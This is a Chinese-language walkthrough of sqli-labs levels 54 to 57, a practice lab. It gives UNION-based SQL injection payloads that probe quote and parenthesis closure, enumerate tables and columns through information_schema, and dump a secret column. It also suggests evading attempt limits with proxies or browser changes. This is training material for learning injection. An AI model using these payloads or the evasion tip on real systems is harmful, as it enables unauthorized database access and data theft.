Sqli-labs之Less:54-57
基于错误_GET_单引号_字符型_UNION注入
翻译:
请输入ID作为参数,数值与实验室时习相同
此挑战的目标是在不到10次的尝试中从数据库(challenges)的随机表中转储(**)
为了好玩,每次重置,挑战都会生成随机表名、列名和表数据。随时保持新鲜。
从 Less 54 - Less 65 这 12 关属于 Page 4:Challenges,这些是一些综合的注入训练,限制了查询的次数,更贴近于 GET 的实战。这也是整个 Sqli-Labs 的最后一部分。
现在我们将综合运用之前所学的各种注入技巧,拿到 **。
我们先正常访问下页面:
从图中我们了解到了:
我们顺便看下核心源代码:
详情请看源代码。
下面开始我们的注入:
?id=1'
?id=1"
双引号正常,单引号无报错有异常回显,为字符型单引号闭合。(无法进行报错注入)
?id=1'--+
正确回显,未过滤注释。
?id=0' union select 1,2,3--+
既然有回显,在相应位置使用union
注入即可。
该题提示我们数据库为challenges,我们可以在后台查看:
但是这里数据表是随机生成的,到达10次后,可以 reset(重置)一下,数据表就会发生变化
爆表
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
爆字段:
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='iaem80ucss'--+
那个secret
加上奇奇怪怪字符的字段应该就是我们想要的。
爆数据:
由于尝试的次数达到10次,再次提交就会提醒我们并强制重置:
上面的页面停留3秒后,返回到最初的页面:
好吧,好吧,直接从爆表重新来过吧,这里就不在演示上面重复的操作,直接演示爆数据:
?id=0' union select 1,2,group_concat(secret_K2YN) from challenges.mtwan8eq7l--+
在下面的输入框中输入 ** 即可,出现祝贺的图片:
congrats you nailed it -------->恭喜你成功了
这个成功的页面会在3秒后关闭,并强制重置到最初的页面,所以为了截这张图又特意做了一边,谁叫我截图慢了一步呢 ╮(-_-)╭
在实际渗透测试当中,我们可以利用更换 ip(使用代理)或更换浏览器等,看服务器端检测什么内容进行限制。
--------------------------------------- 分隔符 ----------------------------
Less-55
基于错误_GET_小括号_数字型_UNION注入
我们先看看这一关给我们几次机会:
给了14次机会。
本关的 sql 语句为:
也注释了报错信息:

其余和 less54 是一样的,所以我们将上述的语句前添加 ) 即可。特别注意:这里是数字型小括号闭合。在前面的关卡中还没遇到过这样的。
因为是数字型所以单双引号都会报错,在这里因为注释掉了报错信息,所以这里是无报错有异常回显
还要注意的是这里使用union注入发现单单一个数字型无法注入成功的时候就要考虑是否含有小括号。
测试的话:
?id=1 正确回显
?id=1' 无错误异常回显
?id=1" 无错误异常回显
?id=1')--+ 无错误异常回显
?id=1")--+ 无错误异常回显
?id=1)--+ 正确回显
剩下的操作参照Less-54
如:
--------------------------------------- 分隔符 ----------------------------
Less-56
基于错误_GET_小括号_单引号_字符型_UNION注入
与 less54-55 形式是一致的,我们关注 sql 语句:
所以依旧使用union
注入。
过程:
?id=1' 无错误有异常回显,?id=1 ?id=1" 正确回显,说明是单引号字符型,于是测试?id=1'--+ 发现依旧无错误异常回显,猜测是否含有小括号,测试 ?id=1')--+ 发现正常回显,说明这是字符型单引号加小括号闭合
?id=1 正确回显
?id=1" 正确回显
?id=1' 无错误异常回显
?id=1'--+ 无错误异常回显
?id=1')--+ 正常回显
--------------------------------------------------------
格外说明:(这种情况只出现在字符型注入中,造成这样的原因是括号的优先级高。如果是数字型带括号下面的语句会直接报错的,)
?id=1)--+ 虽然正确回显,但是后台数据库并没有闭合成功,无法进行注入
?id=1")--+ 虽然正确回显,但是后台数据库并没有闭合成功,无法进行注入
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
剩下的参考Less-54
在这里要说一点就是括号的优先级大于单双引号,如果我们遇到 字符型带括号类型注入,如字符型单引号小括号,如果我们在url中输入?id=1)--+ ?id=1")--+ 由于优先级的问题页面是会返回正常,但后台数据库并没有成功的进行闭合,使用union注入后都无法成功进行注入。
------------------------ 分隔符 -------------------------------
Less-57
基于错误_GET_双引号_字符型_UNION注入
?id=1'
?id=1"
?id=1")
?id=1")--+
?id=1"--+
单引号有正确回显,双引号和双引号加小括号无报错回显,使用注释符发现?id=1"--+ 可以进行正常回显,所以这是一道双引号字符型注入。所以可以参考Less-54:
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
看下源码: